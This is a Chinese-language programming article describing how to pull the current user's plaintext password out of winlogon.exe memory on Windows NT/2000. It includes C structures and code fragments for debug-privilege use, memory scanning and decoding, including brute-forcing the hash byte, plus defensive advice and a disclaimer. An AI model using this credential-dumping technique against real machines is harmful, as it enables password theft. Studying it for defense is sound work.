首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> C++ >> 關於C++

Windows NT/2000 當前使用者帳號密碼記憶體提取技術原理與實作

     編輯:關於C++

概述與警示

本文技術僅適用於 Windows 2000/XP 環境測試,涉及系統核心記憶體讀取與解密,屬敏感安全研究範疇。嚴禁用於非法用途,僅供安全防護理解與學術研究參考。

核心原理

Windows 登入過程中,使用者明文密碼經加密後存儲於 winlogon.exe 進程記憶體空間。利用 SeDebugPrivilege 特權開啟進程、掃描記憶體區塊、定位包含使用者名稱/網域的記憶體頁面,進而提取鄰近區域的加密密碼結構,最後呼叫 RtlRunDecodeUnicodeString 解密還原明文。

關鍵資料結構定義


// Unicode 字串結構
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

// 進程資訊結構
typedef struct _PROCESS_INFO {
    DWORD LoadAddress;
    DWORD Size;
    DWORD Unk08;
    DWORD Enumerator;
    DWORD Unk10;
    char Name[0x108];
} PROCESS_INFO, *PPROCESS_INFO;

// 編碼密碼資訊
typedef struct _ENCODED_PASSWORD_INFO {
    DWORD HashByte;
    DWORD Unk04, Unk08, Unk0C;
    FILETIME LoggedOn;
    DWORD Unk18, Unk1C, Unk20, Unk24, Unk28;
    UNICODE_STRING EncodedPassword;
} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;

核心流程步驟

1. 權限提升與 NTDLL 函數載入


AddDebugPrivilege(); // 取得 SeDebugPrivilege
HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL");
// 動態獲取未文檔化 API 位址
pfnNtQuerySystemInformation = GetProcAddress(hNtDll, "NtQuerySystemInformation");
pfnRtlCreateQueryDebugBuffer = GetProcAddress(hNtDll, "RtlCreateQueryDebugBuffer");
pfnRtlQueryProcessDebugInformation = GetProcAddress(hNtDll, "RtlQueryProcessDebugInformation");
pfnRtlDestroyQueryDebugBuffer = GetProcAddress(hNtDll, "RtlDestroyQueryDebugBuffer");
pfnRtlRunDecodeUnicodeString = GetProcAddress(hNtDll, "RtlRunDecodeUnicodeString");

2. 定位 winlogon.exe 進程 ID

掃描系統進程列表,找到 winlogon.exe 且載入 msgina.dll(非 nwgina.dll)的進程 PID。

3. 讀取進程記憶體搜尋使用者資訊

  • WinNT:讀取 PEB (0x7ffdf000) 獲取堆疊基址,掃描記憶體區塊比對使用者名稱/網域
  • Win2K:遍歷整個使用者模式位址空間,VirtualQueryEx + ReadProcessMemory 掃描提交且非保護頁面

4. 密碼解密邏輯差異


// WinNT: HashByte 存儲於 EncodedPassword.Length 高位元組
dwHashByte = (pepiEncodedPwdInfo->EncodedPassword.Length & 0xff00) >> 8;
pfnRtlRunDecodeUnicodeString((BYTE)dwHashByte, &usEncodedString);

// Win2K: HashByte 不存儲,需暴力嘗試 0x00-0xFF
for (DWORD i = 0; i <= 0xff; i++) {
    CopyMemory(usEncodedString.Buffer, pvPwd, dwPwdLen * sizeof(wchar_t));
    pfnRtlRunDecodeUnicodeString((BYTE)i, &usEncodedString);
    // 驗證解碼結果是否為可見字元 (0x20-0x7E)
    if (bViewable) { /* 找到正確密碼 */ }
}

完整程式碼結構

文章提供完整可編譯實作,包含:

  • GetPassword() 主入口函數
  • 作業系統版本判斷 IsWinNT()/IsWin2K()
  • 特權提升 AddDebugPrivilege()
  • 進程掃描 FindWinLogon()
  • 記憶體定位 LocatePasswordPageWinNT()/LocatePasswordPageWin2K()
  • 解碼還原 ReturnWinNTPwd()/ReturnWin2kPwd()

安全防護啟示

  1. Windows 記憶體保護機制對具備 Debug 特權的進程防禦薄弱
  2. 密碼在記憶體中以可逆加密存儲,非單向雜湊
  3. 現代 Windows (Vista+) 引入 LSASS 保護、CredGuard 等機制大幅提高提取難度
  4. 建議啟用 Windows Defender Credential Guard、限制 Debug 特權授予

免責聲明

本文技術細節僅供安全研究人員理解歷史版本漏洞原理,嚴禁用於滲透測試未授權系統或惡意用途。實際部署環境請遵循最小權限原則,部署端點防護方案監控異常記憶體讀取行為。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved